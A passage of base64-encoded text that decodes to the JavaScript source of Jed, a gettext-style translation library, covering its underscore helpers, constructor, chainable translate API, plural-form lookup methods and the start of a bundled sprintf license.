J1dGlvbnNcblxuSmVkIG9mZmVycyB0aGUgZW50aXJlIGFwcGxpY2FibGUgR05VIGdldHRleHQgc3BlYydkIHNldCBvZlxuZnVuY3Rpb25zLCBidXQgYWxzbyBvZmZlcnMgc29tZSBuaWNlciB3cmFwcGVycyBhcm91bmQgdGhlbS5cblRoZSBhcGkgZm9yIGdldHRleHQgd2FzIHdyaXR0ZW4gZm9yIGEgbGFuZ3VhZ2Ugd2l0aCBubyBmdW5jdGlvblxub3ZlcmxvYWRpbmcsIHNvIEplZCBhbGxvd3MgYSBsaXR0bGUgbW9yZSBvZiB0aGF0LlxuXG5NYW55IHRoYW5rcyB0byBKb3NodWEgSS4gTWlsbGVyIC0gdW5ydHN0QGNwYW4ub3JnIC0gd2hvIHdyb3RlXG5nZXR0ZXh0LmpzIGJhY2sgaW4gMjAwOC4gSSB3YXMgYWJsZSB0byB2ZXQgYSBsb3Qgb2YgbXkgaWRlYXNcbmFnYWluc3QgaGlzLiBJIGFsc28gbWFkZSBzdXJlIEplZCBwYXNzZWQgYWdhaW5zdCBoaXMgdGVzdHNcbmluIG9yZGVyIHRvIG9mZmVyIGVhc3kgdXBncmFkZXMgLS0ganNnZXR0ZXh0LmJlcmxpb3MuZGVcbiovXG4oZnVuY3Rpb24gKHJvb3QsIHVuZGVmKSB7XG5cbiAgLy8gU2V0IHVwIHNvbWUgdW5kZXJzY29yZS1zdHlsZSBmdW5jdGlvbnMsIGlmIHlvdSBhbHJlYWR5IGhhdmVcbiAgLy8gdW5kZXJzY29yZSwgZmVlbCBmcmVlIHRvIGRlbGV0ZSB0aGlzIHNlY3Rpb24sIGFuZCB1c2UgaXRcbiAgLy8gZGlyZWN0bHksIGhvd2V2ZXIsIHRoZSBhbW91bnQgb2YgZnVuY3Rpb25zIHVzZWQgZG9lc24ndFxuICAvLyB3YXJyYW50IGhhdmluZyB1bmRlcnNjb3JlIGFzIGEgZnVsbCBkZXBlbmRlbmN5LlxuICAvLyBVbmRlcnNjb3JlIDEuMy4wIHdhcyB1c2VkIHRvIHBvcnQgYW5kIGlzIGxpY2Vuc2VkXG4gIC8vIHVuZGVyIHRoZSBNSVQgTGljZW5zZSBieSBKZXJlbXkgQXNoa2VuYXMuXG4gIHZhciBBcnJheVByb3RvICAgID0gQXJyYXkucHJvdG90eXBlLFxuICAgICAgT2JqUHJvdG8gICAgICA9IE9iamVjdC5wcm90b3R5cGUsXG4gICAgICBzbGljZSAgICAgICAgID0gQXJyYXlQcm90by5zbGljZSxcbiAgICAgIGhhc093blByb3AgICAgPSBPYmpQcm90by5oYXNPd25Qcm9wZXJ0eSxcbiAgICAgIG5hdGl2ZUZvckVhY2ggPSBBcnJheVByb3RvLmZvckVhY2gsXG4gICAgICBicmVha2VyICAgICAgID0ge307XG5cbiAgLy8gV2UncmUgbm90IHVzaW5nIHRoZSBPT1Agc3R5bGUgXyBzbyB3ZSBkb24ndCBuZWVkIHRoZVxuICAvLyBleHRyYSBsZXZlbCBvZiBpbmRpcmVjdGlvbi4gVGhpcyBzdGlsbCBtZWFucyB0aGF0IHlvdVxuICAvLyBzdWIgb3V0IGZvciByZWFsIGBfYCB0aG91Z2guXG4gIHZhciBfID0ge1xuICAgIGZvckVhY2ggOiBmdW5jdGlvbiggb2JqLCBpdGVyYXRvciwgY29udGV4dCApIHtcbiAgICAgIHZhciBpLCBsLCBrZXk7XG4gICAgICBpZiAoIG9iaiA9PT0gbnVsbCApIHtcbiAgICAgICAgcmV0dXJuO1xuICAgICAgfVxuXG4gICAgICBpZiAoIG5hdGl2ZUZvckVhY2ggJiYgb2JqLmZvckVhY2ggPT09IG5hdGl2ZUZvckVhY2ggKSB7XG4gICAgICAgIG9iai5mb3JFYWNoKCBpdGVyYXRvciwgY29udGV4dCApO1xuICAgICAgfVxuICAgICAgZWxzZSBpZiAoIG9iai5sZW5ndGggPT09ICtvYmoubGVuZ3RoICkge1xuICAgICAgICBmb3IgKCBpID0gMCwgbCA9IG9iai5sZW5ndGg7IGkgPCBsOyBpKysgKSB7XG4gICAgICAgICAgaWYgKCBpIGluIG9iaiAmJiBpdGVyYXRvci5jYWxsKCBjb250ZXh0LCBvYmpbaV0sIGksIG9iaiApID09PSBicmVha2VyICkge1xuICAgICAgICAgICAgcmV0dXJuO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgZWxzZSB7XG4gICAgICAgIGZvciAoIGtleSBpbiBvYmopIHtcbiAgICAgICAgICBpZiAoIGhhc093blByb3AuY2FsbCggb2JqLCBrZXkgKSApIHtcbiAgICAgICAgICAgIGlmICggaXRlcmF0b3IuY2FsbCAoY29udGV4dCwgb2JqW2tleV0sIGtleSwgb2JqICkgPT09IGJyZWFrZXIgKSB7XG4gICAgICAgICAgICAgIHJldHVybjtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9LFxuICAgIGV4dGVuZCA6IGZ1bmN0aW9uKCBvYmogKSB7XG4gICAgICB0aGlzLmZvckVhY2goIHNsaWNlLmNhbGwoIGFyZ3VtZW50cywgMSApLCBmdW5jdGlvbiAoIHNvdXJjZSApIHtcbiAgICAgICAgZm9yICggdmFyIHByb3AgaW4gc291cmNlICkge1xuICAgICAgICAgIG9ialtwcm9wXSA9IHNvdXJjZVtwcm9wXTtcbiAgICAgICAgfVxuICAgICAgfSk7XG4gICAgICByZXR1cm4gb2JqO1xuICAgIH1cbiAgfTtcbiAgLy8gRU5EIE1pbmlhdHVyZSB1bmRlcnNjb3JlIGltcGxcblxuICAvLyBKZWQgaXMgYSBjb25zdHJ1Y3RvciBmdW5jdGlvblxuICB2YXIgSmVkID0gZnVuY3Rpb24gKCBvcHRpb25zICkge1xuICAgIC8vIFNvbWUgbWluaW1hbCBkZWZhdWx0c1xuICAgIHRoaXMuZGVmYXVsdHMgPSB7XG4gICAgICBcImxvY2FsZV9kYXRhXCIgOiB7XG4gICAgICAgIFwibWVzc2FnZXNcIiA6IHtcbiAgICAgICAgICBcIlwiIDoge1xuICAgICAgICAgICAgXCJkb21haW5cIiAgICAgICA6IFwibWVzc2FnZXNcIixcbiAgICAgICAgICAgIFwibGFuZ1wiICAgICAgICAgOiBcImVuXCIsXG4gICAgICAgICAgICBcInBsdXJhbF9mb3Jtc1wiIDogXCJucGx1cmFscz0yOyBwbHVyYWw9KG4gIT0gMSk7XCJcbiAgICAgICAgICB9XG4gICAgICAgICAgLy8gVGhlcmUgYXJlIG5vIGRlZmF1bHQga2V5cywgdGhvdWdoXG4gICAgICAgIH1cbiAgICAgIH0sXG4gICAgICAvLyBUaGUgZGVmYXVsdCBkb21haW4gaWYgb25lIGlzIG1pc3NpbmdcbiAgICAgIFwiZG9tYWluXCIgOiBcIm1lc3NhZ2VzXCIsXG4gICAgICAvLyBlbmFibGUgZGVidWcgbW9kZSB0byBsb2cgdW50cmFuc2xhdGVkIHN0cmluZ3MgdG8gdGhlIGNvbnNvbGVcbiAgICAgIFwiZGVidWdcIiA6IGZhbHNlXG4gICAgfTtcblxuICAgIC8vIE1peCBpbiB0aGUgc2VudCBvcHRpb25zIHdpdGggdGhlIGRlZmF1bHQgb3B0aW9uc1xuICAgIHRoaXMub3B0aW9ucyA9IF8uZXh0ZW5kKCB7fSwgdGhpcy5kZWZhdWx0cywgb3B0aW9ucyApO1xuICAgIHRoaXMudGV4dGRvbWFpbiggdGhpcy5vcHRpb25zLmRvbWFpbiApO1xuXG4gICAgaWYgKCBvcHRpb25zLmRvbWFpbiAmJiAhIHRoaXMub3B0aW9ucy5sb2NhbGVfZGF0YVsgdGhpcy5vcHRpb25zLmRvbWFpbiBdICkge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKCdUZXh0IGRvbWFpbiBzZXQgdG8gbm9uLWV4aXN0ZW50IGRvbWFpbjogYCcgKyBvcHRpb25zLmRvbWFpbiArICdgJyk7XG4gICAgfVxuICB9O1xuXG4gIC8vIFRoZSBnZXR0ZXh0IHNwZWMgc2V0cyB0aGlzIGNoYXJhY3RlciBhcyB0aGUgZGVmYXVsdFxuICAvLyBkZWxpbWl0ZXIgZm9yIGNvbnRleHQgbG9va3Vwcy5cbiAgLy8gZS5nLjogY29udGV4dFxcdTAwMDRrZXlcbiAgLy8gSWYgeW91ciB0cmFuc2xhdGlvbiBjb21wYW55IHVzZXMgc29tZXRoaW5nIGRpZmZlcmVudCxcbiAgLy8ganVzdCBjaGFuZ2UgdGhpcyBhdCBhbnkgdGltZSBhbmQgaXQgd2lsbCB1c2UgdGhhdCBpbnN0ZWFkLlxuICBKZWQuY29udGV4dF9kZWxpbWl0ZXIgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCA0ICk7XG5cbiAgZnVuY3Rpb24gZ2V0UGx1cmFsRm9ybUZ1bmMgKCBwbHVyYWxfZm9ybV9zdHJpbmcgKSB7XG4gICAgcmV0dXJuIEplZC5QRi5jb21waWxlKCBwbHVyYWxfZm9ybV9zdHJpbmcgfHwgXCJucGx1cmFscz0yOyBwbHVyYWw9KG4gIT0gMSk7XCIpO1xuICB9XG5cbiAgZnVuY3Rpb24gQ2hhaW4oIGtleSwgaTE4biApe1xuICAgIHRoaXMuX2tleSA9IGtleTtcbiAgICB0aGlzLl9pMThuID0gaTE4bjtcbiAgfVxuXG4gIC8vIENyZWF0ZSBhIGNoYWluYWJsZSBhcGkgZm9yIGFkZGluZyBhcmdzIHByZXR0aWx5XG4gIF8uZXh0ZW5kKCBDaGFpbi5wcm90b3R5cGUsIHtcbiAgICBvbkRvbWFpbiA6IGZ1bmN0aW9uICggZG9tYWluICkge1xuICAgICAgdGhpcy5fZG9tYWluID0gZG9tYWluO1xuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfSxcbiAgICB3aXRoQ29udGV4dCA6IGZ1bmN0aW9uICggY29udGV4dCApIHtcbiAgICAgIHRoaXMuX2NvbnRleHQgPSBjb250ZXh0O1xuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfSxcbiAgICBpZlBsdXJhbCA6IGZ1bmN0aW9uICggbnVtLCBwa2V5ICkge1xuICAgICAgdGhpcy5fdmFsID0gbnVtO1xuICAgICAgdGhpcy5fcGtleSA9IHBrZXk7XG4gICAgICByZXR1cm4gdGhpcztcbiAgICB9LFxuICAgIGZldGNoIDogZnVuY3Rpb24gKCBzQXJyICkge1xuICAgICAgaWYgKCB7fS50b1N0cmluZy5jYWxsKCBzQXJyICkgIT0gJ1tvYmplY3QgQXJyYXldJyApIHtcbiAgICAgICAgc0FyciA9IFtdLnNsaWNlLmNhbGwoYXJndW1lbnRzLCAwKTtcbiAgICAgIH1cbiAgICAgIHJldHVybiAoIHNBcnIgJiYgc0Fyci5sZW5ndGggPyBKZWQuc3ByaW50ZiA6IGZ1bmN0aW9uKHgpeyByZXR1cm4geDsgfSApKFxuICAgICAgICB0aGlzLl9pMThuLmRjbnBnZXR0ZXh0KHRoaXMuX2RvbWFpbiwgdGhpcy5fY29udGV4dCwgdGhpcy5fa2V5LCB0aGlzLl9wa2V5LCB0aGlzLl92YWwpLFxuICAgICAgICBzQXJyXG4gICAgICApO1xuICAgIH1cbiAgfSk7XG5cbiAgLy8gQWRkIGZ1bmN0aW9ucyB0byB0aGUgSmVkIHByb3RvdHlwZS5cbiAgLy8gVGhlc2Ugd2lsbCBiZSB0aGUgZnVuY3Rpb25zIG9uIHRoZSBvYmplY3QgdGhhdCdzIHJldHVybmVkXG4gIC8vIGZyb20gY3JlYXRpbmcgYSBgbmV3IEplZCgpYFxuICAvLyBUaGVzZSBzZWVtIHJlZHVuZGFudCwgYnV0IHRoZXkgZ3ppcCBwcmV0dHkgd2VsbC5cbiAgXy5leHRlbmQoIEplZC5wcm90b3R5cGUsIHtcbiAgICAvLyBUaGUgc2V4aWVyIGFwaSBzdGFydCBwb2ludFxuICAgIHRyYW5zbGF0ZSA6IGZ1bmN0aW9uICgga2V5ICkge1xuICAgICAgcmV0dXJuIG5ldyBDaGFpbigga2V5LCB0aGlzICk7XG4gICAgfSxcblxuICAgIHRleHRkb21haW4gOiBmdW5jdGlvbiAoIGRvbWFpbiApIHtcbiAgICAgIGlmICggISBkb21haW4gKSB7XG4gICAgICAgIHJldHVybiB0aGlzLl90ZXh0ZG9tYWluO1xuICAgICAgfVxuICAgICAgdGhpcy5fdGV4dGRvbWFpbiA9IGRvbWFpbjtcbiAgICB9LFxuXG4gICAgZ2V0dGV4dCA6IGZ1bmN0aW9uICgga2V5ICkge1xuICAgICAgcmV0dXJuIHRoaXMuZGNucGdldHRleHQuY2FsbCggdGhpcywgdW5kZWYsIHVuZGVmLCBrZXkgKTtcbiAgICB9LFxuXG4gICAgZGdldHRleHQgOiBmdW5jdGlvbiAoIGRvbWFpbiwga2V5ICkge1xuICAgICByZXR1cm4gdGhpcy5kY25wZ2V0dGV4dC5jYWxsKCB0aGlzLCBkb21haW4sIHVuZGVmLCBrZXkgKTtcbiAgICB9LFxuXG4gICAgZGNnZXR0ZXh0IDogZnVuY3Rpb24gKCBkb21haW4gLCBrZXkgLyosIGNhdGVnb3J5ICovICkge1xuICAgICAgLy8gSWdub3JlcyB0aGUgY2F0ZWdvcnkgYW55d2F5c1xuICAgICAgcmV0dXJuIHRoaXMuZGNucGdldHRleHQuY2FsbCggdGhpcywgZG9tYWluLCB1bmRlZiwga2V5ICk7XG4gICAgfSxcblxuICAgIG5nZXR0ZXh0IDogZnVuY3Rpb24gKCBza2V5LCBwa2V5LCB2YWwgKSB7XG4gICAgICByZXR1cm4gdGhpcy5kY25wZ2V0dGV4dC5jYWxsKCB0aGlzLCB1bmRlZiwgdW5kZWYsIHNrZXksIHBrZXksIHZhbCApO1xuICAgIH0sXG5cbiAgICBkbmdldHRleHQgOiBmdW5jdGlvbiAoIGRvbWFpbiwgc2tleSwgcGtleSwgdmFsICkge1xuICAgICAgcmV0dXJuIHRoaXMuZGNucGdldHRleHQuY2FsbCggdGhpcywgZG9tYWluLCB1bmRlZiwgc2tleSwgcGtleSwgdmFsICk7XG4gICAgfSxcblxuICAgIGRjbmdldHRleHQgOiBmdW5jdGlvbiAoIGRvbWFpbiwgc2tleSwgcGtleSwgdmFsLyosIGNhdGVnb3J5ICovKSB7XG4gICAgICByZXR1cm4gdGhpcy5kY25wZ2V0dGV4dC5jYWxsKCB0aGlzLCBkb21haW4sIHVuZGVmLCBza2V5LCBwa2V5LCB2YWwgKTtcbiAgICB9LFxuXG4gICAgcGdldHRleHQgOiBmdW5jdGlvbiAoIGNvbnRleHQsIGtleSApIHtcbiAgICAgIHJldHVybiB0aGlzLmRjbnBnZXR0ZXh0LmNhbGwoIHRoaXMsIHVuZGVmLCBjb250ZXh0LCBrZXkgKTtcbiAgICB9LFxuXG4gICAgZHBnZXR0ZXh0IDogZnVuY3Rpb24gKCBkb21haW4sIGNvbnRleHQsIGtleSApIHtcbiAgICAgIHJldHVybiB0aGlzLmRjbnBnZXR0ZXh0LmNhbGwoIHRoaXMsIGRvbWFpbiwgY29udGV4dCwga2V5ICk7XG4gICAgfSxcblxuICAgIGRjcGdldHRleHQgOiBmdW5jdGlvbiAoIGRvbWFpbiwgY29udGV4dCwga2V5LyosIGNhdGVnb3J5ICovKSB7XG4gICAgICByZXR1cm4gdGhpcy5kY25wZ2V0dGV4dC5jYWxsKCB0aGlzLCBkb21haW4sIGNvbnRleHQsIGtleSApO1xuICAgIH0sXG5cbiAgICBucGdldHRleHQgOiBmdW5jdGlvbiAoIGNvbnRleHQsIHNrZXksIHBrZXksIHZhbCApIHtcbiAgICAgIHJldHVybiB0aGlzLmRjbnBnZXR0ZXh0LmNhbGwoIHRoaXMsIHVuZGVmLCBjb250ZXh0LCBza2V5LCBwa2V5LCB2YWwgKTtcbiAgICB9LFxuXG4gICAgZG5wZ2V0dGV4dCA6IGZ1bmN0aW9uICggZG9tYWluLCBjb250ZXh0LCBza2V5LCBwa2V5LCB2YWwgKSB7XG4gICAgICByZXR1cm4gdGhpcy5kY25wZ2V0dGV4dC5jYWxsKCB0aGlzLCBkb21haW4sIGNvbnRleHQsIHNrZXksIHBrZXksIHZhbCApO1xuICAgIH0sXG5cbiAgICAvLyBUaGUgbW9zdCBmdWxseSBxdWFsaWZpZWQgZ2V0dGV4dCBmdW5jdGlvbi4gSXQgaGFzIGV2ZXJ5IG9wdGlvbi5cbiAgICAvLyBTaW5jZSBpdCBoYXMgZXZlcnkgb3B0aW9uLCB3ZSBjYW4gdXNlIGl0IGZyb20gZXZlcnkgb3RoZXIgbWV0aG9kLlxuICAgIC8vIFRoaXMgaXMgdGhlIGJyZWFkIGFuZCBidXR0ZXIuXG4gICAgLy8gVGVjaG5pY2FsbHkgdGhlcmUgc2hvdWxkIGJlIG9uZSBtb3JlIGFyZ3VtZW50IGluIHRoaXMgZnVuY3Rpb24gZm9yICdDYXRlZ29yeScsXG4gICAgLy8gYnV0IHNpbmNlIHdlIG5ldmVyIHVzZSBpdCwgd2UgbWlnaHQgYXMgd2VsbCBub3Qgd2FzdGUgdGhlIGJ5dGVzIHRvIGRlZmluZSBpdC5cbiAgICBkY25wZ2V0dGV4dCA6IGZ1bmN0aW9uICggZG9tYWluLCBjb250ZXh0LCBzaW5ndWxhcl9rZXksIHBsdXJhbF9rZXksIHZhbCApIHtcbiAgICAgIC8vIFNldCBzb21lIGRlZmF1bHRzXG5cbiAgICAgIHBsdXJhbF9rZXkgPSBwbHVyYWxfa2V5IHx8IHNpbmd1bGFyX2tleTtcblxuICAgICAgLy8gVXNlIHRoZSBnbG9iYWwgZG9tYWluIGRlZmF1bHQgaWYgb25lXG4gICAgICAvLyBpc24ndCBleHBsaWNpdGx5IHBhc3NlZCBpblxuICAgICAgZG9tYWluID0gZG9tYWluIHx8IHRoaXMuX3RleHRkb21haW47XG5cbiAgICAgIHZhciBmYWxsYmFjaztcblxuICAgICAgLy8gSGFuZGxlIHNwZWNpYWwgY2FzZXNcblxuICAgICAgLy8gTm8gb3B0aW9ucyBmb3VuZFxuICAgICAgaWYgKCAhIHRoaXMub3B0aW9ucyApIHtcbiAgICAgICAgLy8gVGhlcmUncyBsaWtlbHkgc29tZXRoaW5nIHdyb25nLCBidXQgd2UnbGwgcmV0dXJuIHRoZSBjb3JyZWN0IGtleSBmb3IgZW5nbGlzaFxuICAgICAgICAvLyBXZSBkbyB0aGlzIGJ5IGluc3RhbnRpYXRpbmcgYSBicmFuZCBuZXcgSmVkIGluc3RhbmNlIHdpdGggdGhlIGRlZmF1bHQgc2V0XG4gICAgICAgIC8vIGZvciBldmVyeXRoaW5nIHRoYXQgY291bGQgYmUgYnJva2VuLlxuICAgICAgICBmYWxsYmFjayA9IG5ldyBKZWQoKTtcbiAgICAgICAgcmV0dXJuIGZhbGxiYWNrLmRjbnBnZXR0ZXh0LmNhbGwoIGZhbGxiYWNrLCB1bmRlZmluZWQsIHVuZGVmaW5lZCwgc2luZ3VsYXJfa2V5LCBwbHVyYWxfa2V5LCB2YWwgKTtcbiAgICAgIH1cblxuICAgICAgLy8gTm8gdHJhbnNsYXRpb24gZGF0YSBwcm92aWRlZFxuICAgICAgaWYgKCAhIHRoaXMub3B0aW9ucy5sb2NhbGVfZGF0YSApIHtcbiAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdObyBsb2NhbGUgZGF0YSBwcm92aWRlZC4nKTtcbiAgICAgIH1cblxuICAgICAgaWYgKCAhIHRoaXMub3B0aW9ucy5sb2NhbGVfZGF0YVsgZG9tYWluIF0gKSB7XG4gICAgICAgIHRocm93IG5ldyBFcnJvcignRG9tYWluIGAnICsgZG9tYWluICsgJ2Agd2FzIG5vdCBmb3VuZC4nKTtcbiAgICAgIH1cblxuICAgICAgaWYgKCAhIHRoaXMub3B0aW9ucy5sb2NhbGVfZGF0YVsgZG9tYWluIF1bIFwiXCIgXSApIHtcbiAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdObyBsb2NhbGUgbWV0YSBpbmZvcm1hdGlvbiBwcm92aWRlZC4nKTtcbiAgICAgIH1cblxuICAgICAgLy8gTWFrZSBzdXJlIHdlIGhhdmUgYSB0cnV0aHkga2V5LiBPdGhlcndpc2Ugd2UgbWlnaHQgc3RhcnQgbG9va2luZ1xuICAgICAgLy8gaW50byB0aGUgZW1wdHkgc3RyaW5nIGtleSwgd2hpY2ggaXMgdGhlIG9wdGlvbnMgZm9yIHRoZSBsb2NhbGVcbiAgICAgIC8vIGRhdGEuXG4gICAgICBpZiAoICEgc2luZ3VsYXJfa2V5ICkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ05vIHRyYW5zbGF0aW9uIGtleSBmb3VuZC4nKTtcbiAgICAgIH1cblxuICAgICAgdmFyIGtleSAgPSBjb250ZXh0ID8gY29udGV4dCArIEplZC5jb250ZXh0X2RlbGltaXRlciArIHNpbmd1bGFyX2tleSA6IHNpbmd1bGFyX2tleSxcbiAgICAgICAgICBsb2NhbGVfZGF0YSA9IHRoaXMub3B0aW9ucy5sb2NhbGVfZGF0YSxcbiAgICAgICAgICBkaWN0ID0gbG9jYWxlX2RhdGFbIGRvbWFpbiBdLFxuICAgICAgICAgIGRlZmF1bHRDb25mID0gKGxvY2FsZV9kYXRhLm1lc3NhZ2VzIHx8IHRoaXMuZGVmYXVsdHMubG9jYWxlX2RhdGEubWVzc2FnZXMpW1wiXCJdLFxuICAgICAgICAgIHBsdXJhbEZvcm1zID0gZGljdFtcIlwiXS5wbHVyYWxfZm9ybXMgfHwgZGljdFtcIlwiXVtcIlBsdXJhbC1Gb3Jtc1wiXSB8fCBkaWN0W1wiXCJdW1wicGx1cmFsLWZvcm1zXCJdIHx8IGRlZmF1bHRDb25mLnBsdXJhbF9mb3JtcyB8fCBkZWZhdWx0Q29uZltcIlBsdXJhbC1Gb3Jtc1wiXSB8fCBkZWZhdWx0Q29uZltcInBsdXJhbC1mb3Jtc1wiXSxcbiAgICAgICAgICB2YWxfbGlzdCxcbiAgICAgICAgICByZXM7XG5cbiAgICAgIHZhciB2YWxfaWR4O1xuICAgICAgaWYgKHZhbCA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIC8vIE5vIHZhbHVlIHBhc3NlZCBpbjsgYXNzdW1lIHNpbmd1bGFyIGtleSBsb29rdXAuXG4gICAgICAgIHZhbF9pZHggPSAxO1xuXG4gICAgICB9IGVsc2Uge1xuICAgICAgICAvLyBWYWx1ZSBoYXMgYmVlbiBwYXNzZWQgaW47IHVzZSBwbHVyYWwtZm9ybXMgY2FsY3VsYXRpb25zLlxuXG4gICAgICAgIC8vIEhhbmRsZSBpbnZhbGlkIG51bWJlcnMsIGJ1dCB0cnkgY2FzdGluZyBzdHJpbmdzIGZvciBnb29kIG1lYXN1cmVcbiAgICAgICAgaWYgKCB0eXBlb2YgdmFsICE9ICdudW1iZXInICkge1xuICAgICAgICAgIHZhbCA9IHBhcnNlSW50KCB2YWwsIDEwICk7XG5cbiAgICAgICAgICBpZiAoIGlzTmFOKCB2YWwgKSApIHtcbiAgICAgICAgICAgIHRocm93IG5ldyBFcnJvcignVGhlIG51bWJlciB0aGF0IHdhcyBwYXNzZWQgaW4gaXMgbm90IGEgbnVtYmVyLicpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIHZhbF9pZHggPSBnZXRQbHVyYWxGb3JtRnVuYyhwbHVyYWxGb3JtcykodmFsKSArIDE7XG4gICAgICB9XG5cbiAgICAgIC8vIFRocm93IGFuIGVycm9yIGlmIGEgZG9tYWluIGlzbid0IGZvdW5kXG4gICAgICBpZiAoICEgZGljdCApIHtcbiAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdObyBkb21haW4gbmFtZWQgYCcgKyBkb21haW4gKyAnYCBjb3VsZCBiZSBmb3VuZC4nKTtcbiAgICAgIH1cblxuICAgICAgdmFsX2xpc3QgPSBkaWN0WyBrZXkgXTtcblxuICAgICAgLy8gSWYgdGhlcmUgaXMgbm8gbWF0Y2gsIHRoZW4gcmV2ZXJ0IGJhY2sgdG9cbiAgICAgIC8vIGVuZ2xpc2ggc3R5bGUgc2luZ3VsYXIvcGx1cmFsIHdpdGggdGhlIGtleXMgcGFzc2VkIGluLlxuICAgICAgaWYgKCAhIHZhbF9saXN0IHx8IHZhbF9pZHggPj0gdmFsX2xpc3QubGVuZ3RoICkge1xuICAgICAgICBpZiAodGhpcy5vcHRpb25zLm1pc3Npbmdfa2V5X2NhbGxiYWNrKSB7XG4gICAgICAgICAgdGhpcy5vcHRpb25zLm1pc3Npbmdfa2V5X2NhbGxiYWNrKGtleSwgZG9tYWluKTtcbiAgICAgICAgfVxuICAgICAgICByZXMgPSBbIG51bGwsIHNpbmd1bGFyX2tleSwgcGx1cmFsX2tleSBdO1xuXG4gICAgICAgIC8vIGNvbGxlY3QgdW50cmFuc2xhdGVkIHN0cmluZ3NcbiAgICAgICAgaWYgKHRoaXMub3B0aW9ucy5kZWJ1Zz09PXRydWUpIHtcbiAgICAgICAgICBjb25zb2xlLmxvZyhyZXNbIGdldFBsdXJhbEZvcm1GdW5jKHBsdXJhbEZvcm1zKSggdmFsICkgKyAxIF0pO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiByZXNbIGdldFBsdXJhbEZvcm1GdW5jKCkoIHZhbCApICsgMSBdO1xuICAgICAgfVxuXG4gICAgICByZXMgPSB2YWxfbGlzdFsgdmFsX2lkeCBdO1xuXG4gICAgICAvLyBUaGlzIGluY2x1ZGVzIGVtcHR5IHN0cmluZ3Mgb24gcHVycG9zZVxuICAgICAgaWYgKCAhIHJlcyAgKSB7XG4gICAgICAgIHJlcyA9IFsgbnVsbCwgc2luZ3VsYXJfa2V5LCBwbHVyYWxfa2V5IF07XG4gICAgICAgIHJldHVybiByZXNbIGdldFBsdXJhbEZvcm1GdW5jKCkoIHZhbCApICsgMSBdO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHJlcztcbiAgICB9XG4gIH0pO1xuXG5cbiAgLy8gV2UgYWRkIGluIHNwcmludGYgY2FwYWJpbGl0aWVzIGZvciBwb3N0IHRyYW5zbGF0aW9uIHZhbHVlIGludGVyb2xhdGlvblxuICAvLyBUaGlzIGlzIG5vdCBpbnRlcm5hbGx5IHVzZWQsIHNvIHlvdSBjYW4gcmVtb3ZlIGl0IGlmIHlvdSBoYXZlIHRoaXNcbiAgLy8gYXZhaWxhYmxlIHNvbWV3aGVyZSBlbHNlLCBvciB3YW50IHRvIHVzZSBhIGRpZmZlcmVudCBzeXN0ZW0uXG5cbiAgLy8gV2UgX3NsaWdodGx5XyBtb2RpZnkgdGhlIG5vcm1hbCBzcHJpbnRmIGJlaGF2aW9yIHRvIG1vcmUgZ3JhY2VmdWxseSBoYW5kbGVcbiAgLy8gdW5kZWZpbmVkIHZhbHVlcy5cblxuICAvKipcbiAgIHNwcmludGYoKSBmb3IgSmF2YVNjcmlwdCAwLjctYmV0YTFcbiAgIGh0dHA6Ly93d3cuZGl2ZWludG9qYXZhc2NyaXB0LmNvbS9wcm9qZWN0cy9qYXZhc2NyaXB0LXNwcmludGZcblxuICAgQ29weXJpZ2h0IChjKSBBbGV4YW5kcnUgTWFyYXN0ZWFudSA8YWxleGFob2xpYyBbYXQpIGdtYWlsIChkb3RdIGNvbT5cbiAgIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG5cbiAgIFJlZGlzdHJpYnV0aW9uIGFuZCB1c2UgaW4gc291cmNlIGFuZCBiaW5hcnkgZm9ybXMsIHdpdGggb3Igd2l0aG91dFxuICAgbW9kaWZpY2F0aW9uLCBhcmUgcGVybWl0dGVkIHByb3ZpZGVkIHRoYXQgdGhlIGZvbGxvd2luZyBjb25kaXRpb25zIGFyZSBtZXQ6XG4gICAgICAgKiBSZWRpc3RyaWJ1dGlvbnMgb2Ygc291cmNlIGNvZGUgbXVzdCByZXRhaW4gdGhlIGFib3ZlIGNvcHlyaWdodFxuICAgICAgICAgbm90aWNlLCB0aGlzIGxpc3Qgb2YgY29uZGl0aW9ucyBhbmQgdGhlIGZvbGxvd2luZyBkaXNjbGFpbWVyLlxuICAgICAgICogUmVkaXN0cmlidXRpb25zIGluIGJpbmFyeSBmb3JtIG11c3QgcmVwcm9kdWNlIHRoZSBhYm92ZSBjb3B5cmlnaHRcbiAgICAgICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlvbnMgYW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lciBpbiB0aGVcbiAgICAgICAgIGRvY3VtZW50YXRpb24gYW5kL29yIG90aGVyIG1hdGVyaWFscyBwcm92aWRlZCB3aXRoIHRoZSBkaXN0cmlidXRpb24uXG4gICAgICAgKiBOZWl0aGVyIHRoZSBuYW1lIG9mIHNwcmludGYoKSBmb3IgSmF2YVNjcmlwdCBub3IgdGhlXG4gICAgICAgICBuYW1lcyBvZiBpdHMgY29udHJpYnV0b3JzIG1heSBiZSB1c2VkIHRvIGVuZG9yc2Ugb3IgcHJvbW90ZSBwcm9kdWN0c1xuICAgICAgICAgZGVyaXZlZCBmcm9tIHRoaXMgc29mdHdhcmUgd2l0aG91dCBzcGVjaWZpYyBwcmlvciB3cml0dGVuIHBlcm1pc3Npb24uXG5cbiAgIFRISVMgU09GVFdBUkUgSVMgUFJPVklERUQgQlkgVEhFIENPUFlSSUdIVCBIT0xERVJTIEFORCBDT05UUklCVVRPUlMgXCJBUyBJU1wiIEFORFxuICAgQU5ZIEVYUFJFU1MgT1IgSU1QTElFRCBXQVJSQU5USUVTLCBJTkNMVURJTkcsIEJVVCBOT1QgTElNSVRFRCBUTywgVEhFIElNUExJRURcbiAgIFdBUlJBTlRJRVMgT0YgTUVSQ0hBTlRBQklMSVRZIEFORCB